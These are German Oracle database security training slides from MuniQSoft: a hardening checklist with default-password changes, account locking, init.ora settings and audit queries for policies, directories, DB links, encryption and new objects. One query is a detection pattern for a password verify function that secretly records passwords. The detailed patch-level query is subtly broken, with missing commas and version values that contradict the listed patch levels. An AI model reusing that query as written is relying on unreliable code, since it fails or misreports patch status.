Security II 10 - 2
Installieren Sie nur die Oracle Produkte und Optionen, die Sie wirklich benötigen. So
ist ein Apache Webserver häufig nicht notwendig. Auch diverse Optionen wie Spatial
oder OLAP installieren Accounts und damit potenzielle Angriffsziele für Hacker.
Passwörter ändern/Benutzer sperren
Für die Benutzer SYS, MDSYS, INTERNAL und SYSTEM
sollten auf jeden Fall die Passwörter geändert werden
ALTER USER SYSTEM IDENTIFIED BY <neupwd>;
Sperren Sie alle unnötigen Accounts
ALTER USER OUTLN ACCOUNT LOCK;
MuniQSoft GmbH
Kapitel 10 - Checkliste
Security II 10 - 3
Für die Benutzer SYS, MDSYS, INTERNAL und SYSTEM sollten auf jeden Fall die
Passwörter geändert werden
ALTER USER SYSTEM IDENTIFIED BY <neupwd>;
ALTER USER SYS IDENTIFIED BY <neupwd>;
Auch alle weiteren auf dem System installierten Benutzer sollten schwer zu
knackende Passwörter bekommen.
Sperren Sie alle unnötigen Accounts. Damit ist es auch bei bekanntem Passwort
unmöglich, sich unter diesem Account anzumelden.
ALTER USER CTXSYS ACCOUNT LOCK;
ALTER USER MDSYS ACCOUNT LOCK;
Auch im Betriebssystem sollten nur alle wirklich notwendigen Benutzer noch
existieren. Vergeben Sie nur die notwendigen Betriebssystemrechte an die Benutzer.
Rechteüberprüfung/Netzwerk
Prüfen Sie die Vergabe der Rechte an die Benutzer
genau.
Welche Rechte sind zwingend nötig, welche nicht ?
Welche Rechte wurden an Public vergeben? UTL_FILE?
Verschlüsseln Sie den Netzwerkverkehr
Verwenden Sie Firewalls
MuniQSoft GmbH
Kapitel 10 - Checkliste
Security II 10 - 4
Wenn Teile einer Tabelle geschützt werden sollen, legen Sie eine View über die
Tabelle, entziehen Sie die Lese- und Schreibrechte von der Tabelle und vergeben Sie
die gewünschten Rechte auf die View.
Verschlüsseln Sie den Netzwerkverkehr mittels der Advanced Networking Option.
Sollten die Clients außerhalb des Firmennetzwerks sein, wird der Einsatz von
Firewalls empfohlen.
Der Listener sollte gegen Änderungen im laufenden Betrieb gesichert werden. Auch
der Einsatz eines Passworts für die Administration wird empfohlen.
Schließen Sie alle unberechtigten Clients von der Kommunikation von Oracle aus.
(tcp.validnode_checking)
INIT.ORA Parameter Prüfung
dblink_encrypt_login=true
remote_os_authent=false
remote_os_roles=false
o7_dictionary_accessibility=false
sql92_security=true
global_names=true
MuniQSoft GmbH
Kapitel 10 - Checkliste
Security II 10 - 5
Folgende init.ora Parameter sollten gesetzt sein:
dblink_encrypt_login=true
Dieser Parameter verhindert, dass Passwörter zwischen Datenbanken jemals
unverschlüsselt übertragen werden können
remote_os_authent=false
Eine externe Authentifizierung ist damit nicht möglich
remote_os_roles=false
Externe Rollen sind damit ausgeschalten
o7_dictionary_accessibility=false
Der Zugriff auf den internen Verwaltungsapparat wird damit beschränkt
sql92_security=true
Damit wird bei einem DELETE-Recht auf eine Tabelle auch ein
SELECT Recht benötigt
global_names=true
Damit muss ein Datenbank-Link so wie die zugehörige Datenbank heißen
Prüfung auf neusten Patch
Prüfen Sie Ihre Datenbank auf den neusten Patch
SELECT comp_name,version,status
FROM dba_registry;
MuniQSoft GmbH
Kapitel 10 - Checkliste
Security II 10 - 6
Hinweis: Ausführliche Version:
SELECT comp_name,status,modified,version,
case
WHEN version like '8.1.7%' then '8.1.7.4'
WHEN version like '9.2.0%' then '9.2.0.8'
WHEN version like '10.1.%' then '10.1.0.6' -- Bitte höchsten Patchlevel eintragen
WHEN version like '10.2.%' then '10.2.0.5' -- Bitte höchsten Patchlevel eintragen
WHEN version like '11.1.%' then '11.1.0.7' -- Bitte höchsten Patchlevel eintragen
WHEN version like '11.2.%' then '11.2.0.4' -- Bitte höchsten Patchlevel eintragen
WHEN version like '12.1.%' then '12.1.0.2' -- Bitte höchsten Patchlevel eintragen
WHEN comp_name='Oracle Application Express' then '4.2.5' -- Bitte höchsten
Patchlevel eintragen
ELSE '??'
end "MaxPatchlevel",
case
WHEN version like '8.1.7%' then decode (replace(version,'.','')8174,0,'OK','UPGRADE ###')
WHEN version like '9.2.0%' then decode (replace(version,'.','')92080,0,'OK','UPGRADE ###')
WHEN version like '10.1.%' then decode (replace(version,'.','')101060,0,'OK','UPGRADE ###')
WHEN version like '10.2.%' then decode (replace(version,'.','')102040,0,'OK','UPGRADE ###')
WHEN version like '11.1.%' then decode (replace(version,'.','')111060,0,'OK','UPGRADE ###')
WHEN version like '11.2.%' then decode (replace(version,'.','')112030,0,'OK','UPGRADE ###')
WHEN version like '12.1.%' then decode (replace(version,'.','')121020,0,'OK','UPGRADE ###')
WHEN comp_name='Oracle Application Express' then decode (replace(version,'.','')4250008,0,'OK','UPGRADE ###')
ELSE '??'
end "UPGRADE?"
FROM dba_registry;
Prüfung auf neuen PWD Algorithmus
Ab Version 12c sollte der alte Passwort-Algorithmus
abgeschalten werden
SQLNET.ALLOWED_LOGON_VERSION_SERVER=12 (ab 11.2.0.3)
SQLNET.ALLOWED_LOGON_VERSION_SERVER=12a(ab 12.1.0.2)
SELECT
username,password_versions,account_status,expiry_date
FROM dba_users
WHERE password_versions LIKE '%10G%'
AND account_status NOT LIKE '%LOCKED%';
MuniQSoft GmbH
Kapitel 10 - Checkliste
Security II 10 - 7
Welche Policies sind im Einsatz
SELECT u.name object_owner, o.name object_name, r.gname
policy_group, r.pname policy_name,
r.pfschma pf_owner, r.ppname "package", r.pfname "function",
decode(bitand(r.stmt_type,1), 0, 'NO', 'YES') SELECT,
decode(bitand(r.stmt_type,2), 0, 'NO', 'YES') ins,
decode(bitand(r.stmt_type,4), 0, 'NO', 'YES') upd,
decode(bitand(r.stmt_type,8), 0, 'NO', 'YES') del,
decode(bitand(r.stmt_type,2048), 0, 'NO', 'YES') idx,
decode(r.check_opt, 0, 'NO', 'YES')chk_option,
decode(r.enable_flag, 0, 'NO', 'YES') "enable"
FROM user$ u, obj$ o, rls$ r
WHERE u.user# = o.owner#
AND r.obj# = o.obj#
AND u.name not in ('XDB','SYSTEM','MDSYS');
MuniQSoft GmbH
Kapitel 10 - Checkliste
Security II 10 - 8
Welche Directories sind angelegt
SELECT u.name owner, o.name directory_name,
d.os_path os_path
FROM sys.user$ u, sys.obj$ o, sys.dir$ d
WHERE u.user# = o.owner#
AND o.obj# = d.obj#;
MuniQSoft GmbH
Kapitel 10 - Checkliste
Security II 10 - 9
Hinweis: Und wer hat Rechte darauf?
select u.name owner, o.name directory_name, d.os_path
os_path,listagg(u2.name||' ('||s.name||')',',') within group
(order by o.name) as privs
from sys.user$ u, sys.user$ u2, sys.obj$ o, sys.dir$ d,
sys.objauth$ a, sys.table_privilege_map s
where u.user# = o.owner#
and o.obj# = d.obj#
and a.grantee#=u2.user#
and a.obj#=d.obj#
and s.PRIVILEGE=a.PRIVILEGE#
group by u.name , o.name , d.os_path ;
Welche DB Links existieren ?
SELECT u.name username, l.name db_link_name,
l.userid, l.host, l.ctime
FROM sys.link$ l, sys.user$ u
WHERE l.owner# = u.user#;
MuniQSoft GmbH
Kapitel 10 - Checkliste
Security II 10 - 10
Welche Objekte sind verschlüsselt?
Verschlüsselte Tablespaces:
SELECT t.name, et.encryptionalg algorithm
FROM v$tablespace t,
v$encrypted_tablespaces et
WHERE t.ts# = et.ts#;
MuniQSoft GmbH
Kapitel 10 - Checkliste
Security II 10 - 11
Verschlüsselte Tabellen:
SELECT u.name||'.'||o.name object_name, c.name col_name,
case e.ENCALG when 1 then '3 Key Triple DES 168 bits key'
when 2 then 'AES 128 bits key'
when 3 then 'AES 192 bits key'
when 4 then 'AES 256 bits key'
else 'Internal Err'
end encyrption,
decode(bitand(c.property, 536870912), 0, 'YES',
'NO') salt
FROM user$ u, obj$ o, col$ c, enc$ e
WHERE e.obj#=o.obj# and o.owner#=u.user# and bitand(flags,
128)=0
and e.obj#=c.obj# and bitand(c.property, 67108864) = 67108864;
Wird die Passwort Prüffunktion verwendet ?
SELECT profile,limit
FROM dba_profiles
WHERE
RESOURCE_NAME='PASSWORD_VERIFY_FUNCTION'
AND limit<>'DEFAULT';
MuniQSoft GmbH
Kapitel 10 - Checkliste
Security II 10 - 12
Hinweis:
Wenn Sie bedenken haben, das Ihre Prüf-Funktion ein Spion ist, und die Passwörter
aufzeichnet:
SELECT line,text from dba_source
WHERE name in (select limit from dba_profiles
WHERE RESOURCE_NAME='PASSWORD_VERIFY_FUNCTION'
AND limit<>'DEFAULT')
AND (upper(text) like '%COMMIT%'
OR upper(text) like '%DBMS^_%' escape '^'
OR upper(text) like '%EXECUTE IMMEDIATE%'
OR upper(text) like '%UTL%');
Prüffunktionen
Für wichtige Views sollte eine Hash Funktion verwendet
werden um die Echtheit der View zu bestätigen:
SYS.ALL_OBJECTS
(2324)
30DFF648A42A7AD6885BCF861EE41EAD
SYS.ALL_POLICIES
( 838)
23ECB8487F9A0A1DA957DA8184C6312D
SYS.ALL_SOURCE
(5373)
1FACA6FE7DBD7238C0357BBD770BA615
SYS.ALL_SYNONYMS
(1431)
29E274E0EAEDD7F1C72A3529CCA0FC52
SYS.ALL_TABLES
(1436)
EC7489767CA355D6C2D871846F87279C
MuniQSoft GmbH
Kapitel 10 - Checkliste
Security II 10 - 13
SET SERVEROUTPUT ON
DECLARE
v_hash VARCHAR2(32000);
BEGIN
FOR c IN (SELECT owner,view_name,text FROM dba_views
WHERE owner='SYS'
AND view_name IN
('DBA_TABLES','ALL_TABLES','DBA_OBJECTS','ALL_OBJECTS','DBA_TRIGGERS',
'ALL_TRIGGERS','DBA_POLICIES','ALL_POLICIES','DBA_VIEWS','ALL_VIEWS',
'DBA_JOBS','ALL_JOBS','DBA_SCHEDULER_JOBS','DBA_ROLES','DBA_SYNONYMS',
'ALL_SYNONYMS','DBA_DIRECTORIES','DBA_SOURCE','ALL_SOURCE','DBA_USERS')
ORDER BY 2) LOOP
v_hash:=v_hash||dbms_crypto.Hash(utl_raw.cast_to_raw(c.text),dbms_crypto.hash_m
d5);
dbms_output.put_line(c.owner||'.'||rpad(c.view_name,30,'
')||'('||lpad(length(c.text),4,' ')||') '||
dbms_crypto.Hash(utl_raw.cast_to_raw(c.text),dbms_crypto.hash_md5));
END LOOP;
dbms_output.put_line('KomplettHash:'||dbms_crypto.Hash(utl_raw.cast_to_raw(v_hash),dbms_crypto.hash_md5));
END;
/
Welche Objekte wurden kürzlich neu erzeugt?
Prüfen Sie, welche Objekte in den letzten Tagen in der DB
neu angelegt wurden
Wenn jedoch durch die Applikation regelmäßig neue
Objekte erstellt werden, ist es schwierig die
"Kuckuckseier" zu finden
MuniQSoft GmbH
Kapitel 10 - Checkliste
Security II 10 - 14
SELECT * FROM (
SELECT owner,
count( CASE WHEN object_type= 'SYNONYM'
AND created between sysdate-1 and
sysdate
THEN 'x' END ) as "SYN (1 Tag)",
count( CASE WHEN object_type= 'SYNONYM'
AND created between sysdate-7 and
sysdate-1 THEN 'x' END ) as "SYN (7 T.)",
count( CASE WHEN object_type= 'PACKAGE BODY' AND created between sysdate-1 and
sysdate
THEN 'x' END ) as "PackB (1 Tag)",
count( CASE WHEN object_type= 'PACKAGE BODY' AND created between sysdate-7 and
sysdate-1 THEN 'x' END ) as "PackB (7 T.)",
count( CASE WHEN object_type= 'PROCEDURE'
AND created between sysdate-1 and
sysdate
THEN 'x' END ) as "Proc (1 Tag)",
count( CASE WHEN object_type= 'PROCEDURE'
AND created between sysdate-7 and
sysdate-1 THEN 'x' END ) as "Proc (7 T.)",
count( CASE WHEN object_type= 'TRIGGER'
AND created between sysdate-1 and
sysdate
THEN 'x' END ) as "Trig (1 Tag)",
count( CASE WHEN object_type= 'TRIGGER'
AND created between sysdate-7 and
sysdate-1 THEN 'x' END ) as "Trig (7 T.)",
count( CASE WHEN object_type= 'DATABASE LINK' AND created between sysdate-1 and
sysdate
THEN 'x' END ) as "DBLinks (1 Tag)",
count( CASE WHEN object_type= 'DATABASE LINK' AND created between sysdate-7 and
sysdate-1 THEN 'x' END ) as "DBLinks (7 T.)"
FROM dba_objects
GROUP BY owner)
WHERE "SYN (1 Tag)" + "SYN (7 T.)" + "PackB (1 Tag)" + "PackB (7 T.)" + "Proc (1
Tag)" + "Proc (7 T.)"
+ "Trig (1 Tag)" + "Trig (7 T.)" + "DBLinks (1 Tag)" + "DBLinks (7 T.)" >0;
16 Jahre MuniQSoft GmbH
Tätigkeitsbereiche:
Oracle Support
Hotline: Mo-Fr 8.00 – 18.00 Uhr
Erweiterung um Rufbereitschaft auch am Wochenende möglich
Oracle IT-Consulting & Services, Schwerpunkt auch RAC
Oracle Schulungen (SQL, PL/SQL, DBA, APEX, B&R, MySQL…51
verschiedene Schulungen, gerne auch Inhouse )
Software-Lösungen
Oracle Lizenzen
MuniQSoft GmbH
Schulungszentrum
Grünwalder Weg 13a
82008 Unterhaching
Tel.: 089 / 679090 40
MuniQSoft GmbH
MuniQSoft GmbH
IT-Consulting, Support,
& Software-Lösungen
Witneystr. 1
82008 Unterhaching
Tel.: 089 / 6228 6789 0
Kapitel 10 - Checkliste
Security II 10 - 15
Herunterladen